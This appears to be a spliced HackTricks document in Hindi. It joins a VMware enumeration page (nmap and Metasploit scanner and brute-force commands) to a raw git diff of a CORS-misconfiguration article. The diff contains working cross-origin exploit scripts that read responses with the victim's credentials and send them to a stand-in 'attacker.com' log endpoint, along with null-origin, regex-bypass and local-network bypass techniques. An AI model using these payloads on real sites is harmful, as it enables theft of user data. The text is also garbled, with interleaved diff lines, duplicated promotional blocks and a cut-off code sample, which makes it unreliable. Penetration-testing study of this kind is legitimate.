* **अपने हैकिंग ट्रिक्स साझा करें** PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **Twitter** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें** PRs के माध्यम से [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में सबमिट करके
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Enumeration
```text
```bash
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
msf> use auxiliary/scanner/vmware/esx_fingerprint
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
```
# ब्रूटफोर्स
```text
```bash
msf> auxiliary/scanner/vmware/vmware_http_login
```
```html
यदि आप मान्य क्रेडेंशियल्स खोजते हैं, तो आप अधिक metasploit स्कैनर मॉड्यूल का उपयोग करके जानकारी प्राप्त कर सकते हैं।
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Other ways to support HackTricks:
HackTricks का समर्थन करने के अन्य तरीके:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
```

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert) के साथ</strong></a><strong>!</strong></summary>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
@ -10,22 +10,26 @@ HackTricks का समर्थन करने के अन्य तरी
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## CORS क्या है?
Cross-Origin Resource Sharing (CORS) मानक **सर्वरों को उनके संपत्तियों तक कौन पहुंच सकता है** और **किस HTTP अनुरोध विधियों की अनुमति है** यह परिभाषित करने की अनुमति देता है।
क्रॉस-ऑरिजिन रिसोर्स शेयरिंग (CORS) मानक **सर्वरों को उनके संपत्तियों तक कौन पहुंच सकता है** और **किस HTTP अनुरोध विधियों की अनुमति है** यह परिभाषित करने में मदद करता है।
एक **समान-मूल** नीति एक ऐसी **सर्वर को अनुरोध करने** की अनुमति देती है जो संपत्ति को होस्ट कर रहा है **साझा प्रोटोकॉल (जैसे, `http://`), डोमेन नाम (जैसे, `internal-web.com`), और पोर्ट (जैसे, 80)** को साझा करता है। इस नीति के तहत, केवल वेब पृष्ठ जिनका डोमेन और पोर्ट समान हैं को संपत्तियों तक पहुंचने की अनुमति है।
एक **समान-मूल** नीति यह निर्धारित करती है कि एक **सर्वर जो एक संसाधन का अनुरोध कर रहा है** और संसाधन को **होस्ट करने वाला सर्वर** एक ही प्रोटोकॉल (जैसे, `http://`), डोमेन नाम (जैसे, `internal-web.com`), और **पोर्ट** (जैसे, 80) साझा करते हों। इस नीति के तहत, केवल वेब पृष्ठ जो एक ही डोमेन और पोर्ट से हों, उन्हें संसाधनों तक पहुंचने की अनुमति है।
`http://normal-website.com/example/example.html` के संदर्भ में समान-मूल नीति का अनुपालन निम्नलिखित रूप में है:
| URL तक पहुंचा गया | पहुंच की अनुमति? |
| एक्सेस की गई URL | एक्सेस की अनुमति? |
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/` | हाँ: एकसमान योजना, डोमेन, और पोर्ट |
| `http://normal-website.com/example2/` | हाँ: एकसमान योजना, डोमेन, और पोर्ट |
| `http://normal-website.com/example/` | हाँ: एक ही योजना, डोमेन, और पोर्ट |
| `http://normal-website.com/example2/` | हाँ: एक ही योजना, डोमेन, और पोर्ट |
| `https://normal-website.com/example/` | नहीं: विभिन्न योजना और पोर्ट |
| `http://en.normal-website.com/example/` | नहीं: विभिन्न डोमेन |
| `http://www.normal-website.com/example/` | नहीं: विभिन्न डोमेन |
@ -35,15 +39,15 @@ Cross-Origin Resource Sharing (CORS) मानक **सर्वरों को
### `Access-Control-Allow-Origin` हेडर
यह हेडर **कई मूल्यों की अनुमति** दे सकता है, एक **`null`** मूल्य, या एक वाइल्डकार्ड **`*`**। हालांकि, **कोई भी ब्राउज़र कई मूल्यों का समर्थन नहीं करता**, और वाइल्डकार्ड `*` का उपयोग **सीमाओं** के अधीन है। (वाइल्डकार्ड केवल अकेले उपयोग किया जाना चाहिए, और इसका उपयोग `Access-Control-Allow-Credentials: true` के साथ नहीं किया जा सकता है।)
यह हेडर **एकाधिक मूलों**, **`null`** मान, या वाइल्डकार्ड **`*`** की अनुमति दे सकता है। हालांकि, **कोई भी ब्राउज़र एकाधिक मूलों का समर्थन नहीं करता**, और वाइल्डकार्ड `*` का उपयोग **सीमाओं** के अधीन है। (वाइल्डकार्ड क अकेले उपयोग किया जाना चाहिए, और इसका उपयोग `Access-Control-Allow-Credentials: true` के साथ नहीं किया जाता है।)
यह हेडर **सर्वर द्वारा जारी** किया जाता है एक वेबसाइट द्वारा प्रारंभित एक क्रॉस-डोमेन संपत्ति अनुरोध के प्रतिसाद में, जिसमें ब्राउज़र स्वचालित रूप से एक `Origin` हेडर जोड़ता है।
यह हेडर **एक सर्वर द्वारा जारी** किया जाता है एक वेबसाइट द्वारा प्रारंभित एक क्रॉस-डोमेन संसाधन अनुरोध के प्रतिक्रिया में, जिसमें ब्राउज़र स्वचालित रूप से एक `Origin` हेडर जोड़ता है।
### `Access-Control-Allow-Credentials` हेडर
**डिफ़ॉल्ट** रूप से, क्रॉस-मूल्य अनुरोध कुकीज़ या ऑथराइजेशन हेडर जैसे क्रेडेंशियल के बिना किए जाते हैं। फिर भी, जब क्रेडेंशियल भेजे जाते हैं तो क्रॉस-डोमेन सर्वर `Access-Control-Allow-Credentials` हेडर को **`true`** पर सेट करके प्रतिक्रिया को पढ़ने की अनुमति दे सकता है।
**डिफ़ॉल्ट** रूप से, क्रॉस-ऑरिजिन अनुरोध कुकी या ऑथराइजेशन हेडर जैसे क्रेडेंशियल के बिना किए जाते हैं। फिर भी, जब क्रॉस-डोमेन सर्वर क्रेडेंशियल भेजते हैं, तो `Access-Control-Allow-Credentials` हेडर को **`true`** पर सेट करके प्रतिक्रिया को पढ़ने की अनुमति दे सकता है।
अगर `true` पर सेट किया जाता है, तो ब्राउज़र क्रेडेंशियल (कुकीज़, ऑथराइजेशन हेडर, या TLS क्लाइंट सर्टिफिकेट) प्रेषित करेगा।
अगर `true` पर सेट किया जाता है, तो ब्राउज़र क्रेडेंशियल (कुकीज़, ऑथराइजेशन हेडर, या TLS क्लाइंट सर्टिफिकेट) भेजेगा।
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
@ -74,13 +78,12 @@ xhr.send('<person><name>Arun</name></person>');
### पार-डोमेन संचार में पूर्व-उड़ान अनुरोध की समझ
विशेष परिस्थितियों के तहत पार-डोमेन अनुरोध प्रारंभ करते समय, जैसे कि **गैर-मानक HTTP विधि** (HEAD, GET, POST के अलावा कुछ भी), नए **हेडर** शामिल करना, या विशेष **Content-Type हेडर मान** का उपयोग करना, तो एक पूर्व-उड़ान अनुरोध की आवश्यकता हो सकती है। यह प्रारंभिक अनुरोध, **`OPTIONS`** विधि का उपयोग करते हुए, सर्वर को आगामी पार-स्रोत अनुरोध की इच्छाओं की सूचना देने के लिए होता है, जिसमें उपयोग करने वाली HTTP विधियाँ और हेडर शामिल हैं।
विशेष परिस्थितियों के तहत एक पार-डोमेन अनुरोध प्रारंभ करते समय, जैसे कि **गैर-मानक HTTP विधि** (HEAD, GET, POST के अलावा कुछ भी), नए **हेडर** शामिल करना, या विशेष **Content-Type हेडर मान** का उपयोग करना, तो एक पूर्व-उड़ान अनुरोध की आवश्यकता हो सकती है। यह प्रारंभिक अनुरोध, **`OPTIONS`** विधि का उपयोग करते हुए, सर्वर को आगामी पार-स्रोत अनुरोध की इच्छाओं की सूचना देने के लिए होता है, जिसमें शामिल हो सकते हैं HTTP विधियाँ और हेडर।
**क्रॉस-ओरिजिन संसाधन साझाकरण (CORS)** प्रोटोकॉल इस पूर्व-उड़ान जांच को अनुमति देता है ताकि अनुरोधित क्रॉस-ओरिजिन ऑपरेशन की संभावना का निर्धारण किया जा सके, जिसमें अनुमति दी गई विधियों, हेडर्स, और मूल्यांकन की विश्वसनीयता की जांच की जाती है। पूर्व-उड़ान अनुरोध की आवश्यकता को घटाने वाली शर्तों को समझने के लिए, [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) द्वारा प्रदान की गई व्यापक गाइड का संदर्भ दें।
**क्रॉस-उत्सर्जन संसाधन साझेदारी (CORS)** प्रोटोकॉल इस पूर्व-उड़ान जांच को अनिवार्य बनाता है ताकि अनुरोधित पार-स्रोत कार्रवाई की संभावना का निर्धारण कर सके, जिसमें स्वीकृत विधियाँ, हेडर और मूल्यांकन की विश्वसनीयता की जांच की जाती है। पूर्व-उड़ान अनुरोध की आवश्यकता से बचने के लिए कौन-कौन सी परिस्थितियाँ हैं, उसके लिए [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) द्वारा प्रदान की गई व्यापक गाइड का संदर्भ दें
यह महत्वपूर्ण है कि **पूर्व-उड़ान अनुरोध की अनुपस्थिति जवाब में अधिकृती हेडर्स ले जाने की आवश्यकता को नहीं खारिज करती**। इन हेडर्स के बिना, ब्राउज़र को क्रॉस-ओरिजिन अनुरोध से आया जाने वाला जवाब प्रोसेस करने में असमर्थ बना दिया जाता है
यह महत्वपूर्ण है कि **पूर्व-उड़ान अनुरोध की अनुपस्थिति जवाब में प्राधिकरण हेडर ले जाने की आवश्यकता को नहीं खारिज करती**। इन हेडर्स के बिना, ब्राउज़र को पार-स्रोत अनुरोध से प्रतिक्रिया प्रसंस्करण करने में असमर्थ हो जाता है।
`PUT` विधि का उपयोग करने और `Special-Request-Header` नामक एक कस्टम हेडर का उपयोग करने के लिए एक पूर्व-उड़ान अनुरोध का निमायत चित्रण ध्यान में रखें:
`PUT` विधि का उपयोग करने के लिए एक पूर्व-उड़ान अनुरोध का उदाहरण देखें जिसमें एक कस्टम हेडर नामित `Special-Request-Header` का उपयोग किया जाता है:
```
OPTIONS /info HTTP/1.1
Host: example2.com
@ -89,7 +92,7 @@ Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
जवाब में, सर्वर स्वीकृत मेथड की सूचना, अनुमति प्रारंभ, और अन्य CORS नीति विवरण दिखा सकता है, जैसा नीचे दिखाया गया है:
जवाब में, सर्वर मान सकता है हेडर्स वापस करना जो स्वीकृत मेथड्स, अनुमति दी गई मूल, और अन्य CORS नीति विवरण दिखा सकता है, जैसा नीचे दिखाया गया है:
```markdown
HTTP/1.1 204 No Content
...
@ -100,21 +103,11 @@ Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
* **`Access-Control-Allow-Headers`**: यह हेडर निर्दिष्ट करता है कि वास्तविक अनुरोध के दौरान कौन से हेडर्स का उपयोग किया जा सकता है। यह सर्वर द्वारा सेट किया जाता है ताकि उससे स्पष्ट हो कि क्लाइंट से अनुरोधों में कौन से हेडर्स अनुमति दी जाती है।
* **`Access-Control-Expose-Headers`**: इस हेडर के माध्यम से, सर्वर क्लाइंट को सूचित करता है कि कौन से हेडर्स को साधारित प्रतिक्रिया के हिस्से के रूप में प्रकट किया जा सकता है।
* **`Access-Control-Expose-Headers`**: इस हेडर के माध्यम से, सर्वर क्लाइंट को सूचित करता है कि कौन से हेडर्स को सरल प्रतिक्रिया हेडर्स के अतिरिक्त भाग के रूप में प्रकट किया जा सकता है।
* **`Access-Control-Max-Age`**: यह हेडर यह दर्शाता है कि पूर्व-उड़ान अनुरोध के परिणाम को कितनी देर तक कैश किया जा सकता है। सर्वर उस सबसे अधिक समय को सेट करता है, सेकंड में, जिसके द्वारा पूर्व-उड़ान अनुरोध द्वारा वापस दी गई जानकारी का पुनः उपयोग किया जा सकता है।
* **`Access-Control-Request-Headers`**: पूर्व-उड़ान अनुरोधों में उपयोग किया जाता है, यह हेडर क्लाइंट द्वारा वास्तविक अनुरोध में कौन से HTTP हेडर्स का उपयोग करना चाहता है, उसे सर्वर को सूचित करने के लिए सेट किया जाता है।
* **`Access-Control-Request-Method`**: यह हेडर, पूर्व-उड़ान अनुरोधों में भी उपयोग किया जाता है, यह हेडर क्लाइंट द्वारा वास्तविक अनुरोध में कौन सा HTTP विधि उपयोग किया जाएगा, इसे सेट करने के लिए।
* **`Origin`**: यह हेडर ब्राउज़र द्वारा स्वचालित रूप से सेट किया जाता है और पार-मूल में अनुरोध के मूल को दर्शाता है। यह सर्वर द्वारा उपयोग किया जाता है ताकि आगंतुक के आगमन को मूल्यांकन करें कि क्या आने वाला अनुरोध अनुमति दी जानी चाहिए या नहीं, CORS नीति के आधार पर।
कृपया ध्यान दें कि सामाग्री-प्रकार और हेडर सेट करने के आधार पर आम तौर पर **GET/POST अनुरोध भेजा जाता है** (अनुरोध **सीधे** भेजा जाता है), लेकिन यदि आप **प्रतिक्रिया के हेडर्स/शरीर तक पहुंचना चाहते हैं**, तो इसमें एक _Access-Control-Allow-Origin_ हेडर शामिल होना चाहिए।\
**इसलिए, CORS CSRF के खिलाफ सुरक्षा उपाय नहीं है (लेकिन यह सहायक हो सकता है)**.
### **स्थानीय नेटवर्क अनुरोध पूर्व-उड़ान अनुरोध**
1. **`Access-Control-Request-Local-Network`**: यह हेडर क्लाइंट के अनुरोध में शामिल किया जाता है ताकि संदेश दिया जा सके कि जांच एक स्थानीय नेटवर्क संसाधन की ओर है। यह सर्वर को सूचित करने के लिए एक मार्कर के रूप में काम करता है कि अनुरोध स्थानीय नेटवर्क से उत्पन्न है।
2. **`Access-Control-Allow-Local-Network`**: प्रतिक्रिया में, सर्वर इस हेडर का उपयोग करता है ताकि संबंधित संसाधन को स्थानीय नेटवर्क के बाहरी इकाइयों के साथ साझा किया जा सके। यह विभिन्न नेटवर्क सीमाओं के बाहर संसाधनों को साझा करने के लिए हरी झंडी के रूप में काम करता है, सुरक्षा प्रोटोकॉल बनाए रखते हुए।
**स्थानीय नेटवर्क अनुरोध को अनुमति देने वाला एक वैध प्रतिक्रिया** में भी होना चाहिए जिसमें प्रतिक्रिया में हेडर `Access-Controls-Allow-Local_network: true` भी होना चाहिए:
* **`Access-Control-Request-Method`**: यह हेडर, पूर्व-उड़ान अनुरोधों में भी उपयोग किया जाता है, यह हेडर क्लाइंट द्वारा वास्तविक अनुरोध में कौन सा HTTP विधि उपयोग किया जाएगा, इसे सेट करने के लिए होता है।
* **`Origin`**: यह हेडर ब्राउज़र द्वारा स्वचालित रूप से सेट किया जाता है और पार-मूल संवाद की मूल स्थान को दर्शाता है। यह सर्वर द्वारा उन्हें मूल्यांकन करने के लिए उपयोग किया जाता है कि क्या आने वाला अनुरोध अनुमति दी जानी चाहिए या इसे नकारा जाना चाहिए CORS नीति के आधार पर।
```
HTTP/1.1 200 OK
...
@ -126,22 +119,22 @@ Content-Length: 0
...
```
{% hint style="warning" %}
ध्यान दें कि लिनक्स **0.0.0.0** आईपी इन आवश्यकताओं को दूर करने के लिए काम करता है ताकि localhost तक पहुंचा जा सके क्योंकि यह आईपी पता "स्थानीय" नहीं माना जाता है।
ध्यान दें कि लिनक्स **0.0.0.0** आईपी लोकलहोस्ट तक पहुंचने के लिए ये आवश्यकताओं को **बाइपास** करने के लिए काम करता है क्योंकि यह आईपी पता "स्थानीय" नहीं माना जाता है।
यह भी संभव है कि यदि आप किसी स्थानीय अंतबिंदु (जैसे राउटर का सार्वजनिक आईपी) का सार्वजनिक आईपी पता उपयोग करते हैं तो **स्थानीय नेटवर्क आवश्यकताओं को दूर करना** संभव है। क्योंकि कई अवस्थाओं में, यदि **सार्वजनिक आईपी** तक पहुंचा जा रहा है, तो यदि यह **स्थानीय नेटवर्क** से है, पहुंच प्रान की जाएगी।
यह भी संभव है कि यदि आप किसी स्थानीय अंतबिंदु (जैसे राउटर का सार्वजनिक आईपी) का सार्वजनिक आईपी पता उपयोग करते हैं, तो **स्थानीय नेटवर्क आवश्यकताओं को बाइपास** करना संभव है। क्योंकि कई अवस्थाओं में, यदि **सार्वजनिक आईपी** तक पहुंचा जा रहा है, तो यदि यह **स्थानीय नेटवर्क** से है, तो पहुंच दी जाएगी।
{% endhint %}
## शोधीय गलतियाँ
## एक्सप्लॉइटेबल मिसकॉन्फ़िगरेशन
यह देखा गया है कि `Access-Control-Allow-Credentials` को **`true`** पर सेट करना अधिकांश **वास्तविक हमलों** के लिए आवश्यक है। यह सेटिंग ब्राउज़र को क्रेडेंशियल भेजने और प्रतिक्रिया पढ़ने की अनुमति देती है, हमले की प्रभावकारिता को बढ़ाती है। इसके बिना, ब्राउज़र को अनुरोध जारी करने की बजाय खुद से करने का लाभ कम हो जाता है, क्योंकि उपयोगकर्ता के कुकीज़ का उपयोग करना असंभव हो जाता है।
यह देखा गया है कि `Access-Control-Allow-Credentials` को **`true`** सेट करना अधिकांश **वास्तविक हमलों** के लिए आवश्यक है। यह सेटिंग ब्राउज़र को क्रेडेंशियल भेजने और प्रतिक्रिया पढ़ने की अनुमति देती है, हमले की प्रभावकारिता को बढ़ाती है। इसके बिना, ब्राउज़र को अनुरोध जारी करने की बजाय खुद से करने का लाभ कम हो जाता है, क्योंकि उपयोगकर्ता के कुकीज़ का उपयोग करना असंभव हो जाता है।
### अपवाद: प्रमाणीकरण के रूप में नेटवर्क स्थान का शोषण
एक अपवाद मौजूद है जहां पीड़ित का नेटवर्क स्थान प्रमाणीकरण के रूप में काम करता है। इससे पीड़ित का ब्राउज़र एक प्रॉक्सी के रूप में उपयोग किया जा सकता है, आईपी-आधारित प्रमाणीकरण को दौर करने के लिए इंट्रानेट एप्लिकेशन तक पहुंचने के लिए। यह विधि DNS रिबाइंडिंग के साथ समान प्रभाव को साझा करती है लेकिन इसे शोषण करना सरल है।
एक अपवाद मौजूद है जहां पीड़ित का नेटवर्क स्थान प्रमाणीकरण के रूप में काम करता है। इससे पीड़ित का ब्राउज़र एक प्रॉक्सी के रूप में उपयोग किया जा सकता है, आईपी-आधारित प्रमाणीकरण को आधारित एक्सेस इंट्रानेट एप्लिकेशन तक पहुंचने के लिए। यह विधि DNS रिबाइंडिंग के साथ समान प्रभाव को साझा करती है, लेकिन इसे शोषण करना सरल है।
### `Access-Control-Allow-Origin` में `Origin` का प्रतिबिम्ब
### `Access-Control-Allow-Origin` में `Origin` का परावर्तन
वास्तविक दुनियावी स्थिति जहां `Origin` हेडर के मान को `Access-Control-Allow-Origin` में प्रतिबिम्बित किया जाता है सिद्धांतात असंभव है क्योंकि इन हेडर्स को मिलान करने पर प्रतिबंध है। हालांकि, यदि विकासक विभिन्न URL के लिए CORS सक्षम करना चाहते हैं तो `Access-Control-Allow-Origin` हेडर को `Origin` हेडर के मान की प्रतियोगिता द्वारा उत्पन्न कर सकते हैं। यह दृष्टिकोण दुरुपयोग ला सकता है, विशेष रूप से जब एक हमलावर एक डोमेन का उपयोग करता है जिसे वैध लगने के लिए डिज़ाइन किया गया है, असलीकरण तर्क को धोखा देता है।
वास्तविक दुनिया की स्थिति जहां `Origin` हेडर का मान `Access-Control-Allow-Origin` में परावर्तित होता है सिद्धांतात्मक रूप से असंभाव है क्योंकि इन हेडर्स को मिलान करने पर प्रतिबंध है। हालांकि, यदि डेवलपर्स CORS को कई URL के लिए सक्षम करने की कोशिश कर रहे हैं, तो `Access-Control-Allow-Origin` हेडर को `Origin` हेडर के मान की प्रतिलिपि बनाकर उत्पन्न कर सकते हैं। यह दृष्टिकोण दुर्बलताएँ प्रविष्ट कर सकता है, विशेष रूप से जब एक हमलावाद एक डोमेन का उपयोग करता है जिसे वैध लगने के लिए डिज़ाइन किया गया है, असलीकरण तर्क को धोखा देता है।
```html
<script>
var req = new XMLHttpRequest();
@ -156,7 +149,7 @@ location='/log?key='+this.responseText;
```
### `null` उत्पत्ति का शोषण
`null` उत्पत्ति, जो पुनर्निर्देशन या स्थानीय HTML फ़ाइल जैसी स्थितियों के लिए निर्दिष्ट की गई है, एक अद्वितीय स्थिति में है। कुछ एप्लिकेशन इस उत्पत्ति को स्थानीय विकास को सुविधाजनक बनाने के लिए सफेद सूचीबद्ध करते हैं, जिससे किसी भी वेबसाइट को एक सैंडबॉक्स आइफ्रेम के माध्यम से `null` उत्पत्ति का अनुकरण करने की अनुमति देते हैं, जिससे CORS प्रतिबंधों को छलना हो जाता है।
`null` उत्पत्ति, जो रीडायरेक्ट या स्थानीय HTML फ़ाइलों जैसी स्थितियों के लिए निर्दिष्ट की गई है, एक अद्वितीय स्थिति में है। कुछ एप्लिकेशन इस उत्पत्ति को स्थानीय विकास को सुविधाजनक बनाने के लिए सफेद सूचीबद्ध करते हैं, जिससे किसी भी वेबसाइट को एक सैंडबॉक्स आइफ्रेम के माध्यम से `null` उत्पत्ति का अनुकरण करने की अनुमति देते हैं, जिससे CORS प्रतिबंधों को छलकरना संभव होता है।
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
@ -184,21 +177,21 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
```
### नियमित अभिव्यक्ति बायपास तकनीक
जब डोमेन व्हाइटलिस्ट का सामना हो, तो हमें हमलावर के डोमेन को एक व्हाइटलिस्टेड डोमेन के अंत में जोड़ने या सबडोमेन ताबदीली की कमियों का उपयोग करने जैसे बायपास अवसरों का परीक्षण करना महत्वपूर्ण है। इसके अतिरिक्त, डोमेन मान्यता के लिए उपयोग किए जाने वाले नियमित अभिव्यक्तियों में डोमेन नामकरण संविधानों में छोटी-छोटी बातों को नजरअंदाज कर सकते हैं, जिससे और भी बायपास अवसर प्रस्तुत हो सकते हैं।
जब डोमेन व्हाइटलिस्ट का सामना हो, तो महत्वपूर्ण है कि बायपास अवसरों का परीक्षण किया जाए, जैसे कि हमलावर के डोमेन को एक व्हाइटलिस्टेड डोमेन के साथ जोड़ना या सबडोमेन लेने की कमजोरियों का शोध करना। इसके अतिरिक्त, डोमेन मान्यता के लिए उपयोग किए जाने वाले नियमित अभिव्यक्तियों में डोमेन नामकरण सम्मिलिति में छूट के अवसर प्रस्तुत कर सकते हैं।
### उन्नत नियमित अभिव्यक्ति बायपास
रेगेक्स पैटर्न आम तौर पर अल्फान्यूमेरिक, डॉट (.), और हाइफ़न (-) वर्णों पर ध्यान केंद्रित करते हैं, अन्य संभावनाओं को नजरअंदाज करते हैं। उदाहरण के लिए, ब्राउज़र्स और रेगेक्स पैटर्न्स द्वारा अलग-अलग अनुप्रयोग किए जाने वाले वर्णों को शामिल करने वाले एक डोमेन नाम सुरक्षा जांचों को छलने के लिए उपयोग किया जा सकता है। सफारी, क्रोम, और फ़ायरफ़ॉक्स के अंडरस्कोर वर्णों का सबडोमेन में व्याख्या कैसे करते हैं, इससे ऐसी विसंगतियों का उदाहरण देता है जिन्हें डोमेन मान्यता तर्क को घुमाने के लिए उत्पादित किया जा सकता है।
रेगेक्स पैटर्न सामान्यत: अल्फान्यूमेरिक, डॉट (.), और हाइफ़न (-) वर्णों पर ध्यान केंद्रित करते हैं, अन्य संभावनाओं को नजरअंदाज करते हैं। उदाहरण के लिए, एक डोमेन नाम जिसमें ब्राउज़र्स और रेगेक्स पैटर्न्स द्वारा विभिन्न रूप से व्याख्या किए जाने वाले वर्ण शामिल हों, सुरक्षा जांचों को छलने के लिए उपयोग किया जा सकता है। सफारी, क्रोम, और फ़ायरफ़ॉक्स के अंडरस्कोर वर्णों के सबडोमेन में व्यवहार का तरीका दिखाता है कि इस प्रकार की विसंगतियों का उपयोग करके डोमेन मान्यता तर्क को छलने किया जा सकता है।
**इस बायपास जांच की अधिक जानकारी और सेटिंग के लिए:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **और** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (281).png>)
### सबडोमेन के अंदर XSS से
### XSS के अंदर सबडोमेन से
डेवलपर्स अक्सर CORS शोषण के खिलाफ सुरक्षात्मक उपाय लागू करते हैं जिसमें जानकारी का अनुरोध करने की अनुमति दी गई डोमेन को व्हाइटलिस्ट करके सुरक्षित रखने के लिए। इन सावधानियों के बावजूद, सिस्टम की सुरक्षा पूरी तरह से सुरक्षित नहीं है। व्हाइटलिस्टेड डोमेन्स में एक भी विकल्पशील सबडोमेन की मौजूदगी CORS शोषण के लिए दरवाजा खोल सकती है, जैसे कि XSS (क्रॉस-साइट स्क्रिप्टिंग) जैसी अन्य विकल्पशीलताओं के माध्यम से
डेवलपर्स अक्सर CORS शोषण के खिलाफ सुरक्षात्मक उपाय को लागू करते हैं जिसमें जानकारी अनुरोध करने की अनुमति दी गई डोमेन को व्हाइटलिस्ट करने के द्वारा। इन सावधानियों के बावजूद, सिस्टम की सुरक्षा पूरी तरह से सुरक्षित नहीं है। व्हाइटलिस्टेड डोमेन्स में एक ही कमजोर सबडोमेन की मौजूदगी CORS शोषण के लिए दरवाजा खोल सकती है अन्य सुरक्षा खोजों के माध्यम से, जैसे कि XSS (क्रॉस-साइट स्क्रिप्टिंग)।
उदाहरण के लिए, एक स्थिति को विचार करें जहां एक डोमेन, `requester.com`, को दूसरे डोमेन, `provider.com`, से संसाधनों तक पहुंचने की अनुमति है। सर्वर-साइड कॉन्फ़िगरेशन कुछ इस प्रकार दिख सकती है:
उदाहरण के लिए, एक स्थिति को विचार करें जहां एक डोमेन, `requester.com`, को संसाधनों तक पहुंचने की अनुमति देने के लिए व्हाइटलिस्ट किया गया है, दूसरे डोमेन, `provider.com`, से। सर्वर-साइड कॉन्फ़िगरेशन कुछ इस प्रकार दिख सकती है:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
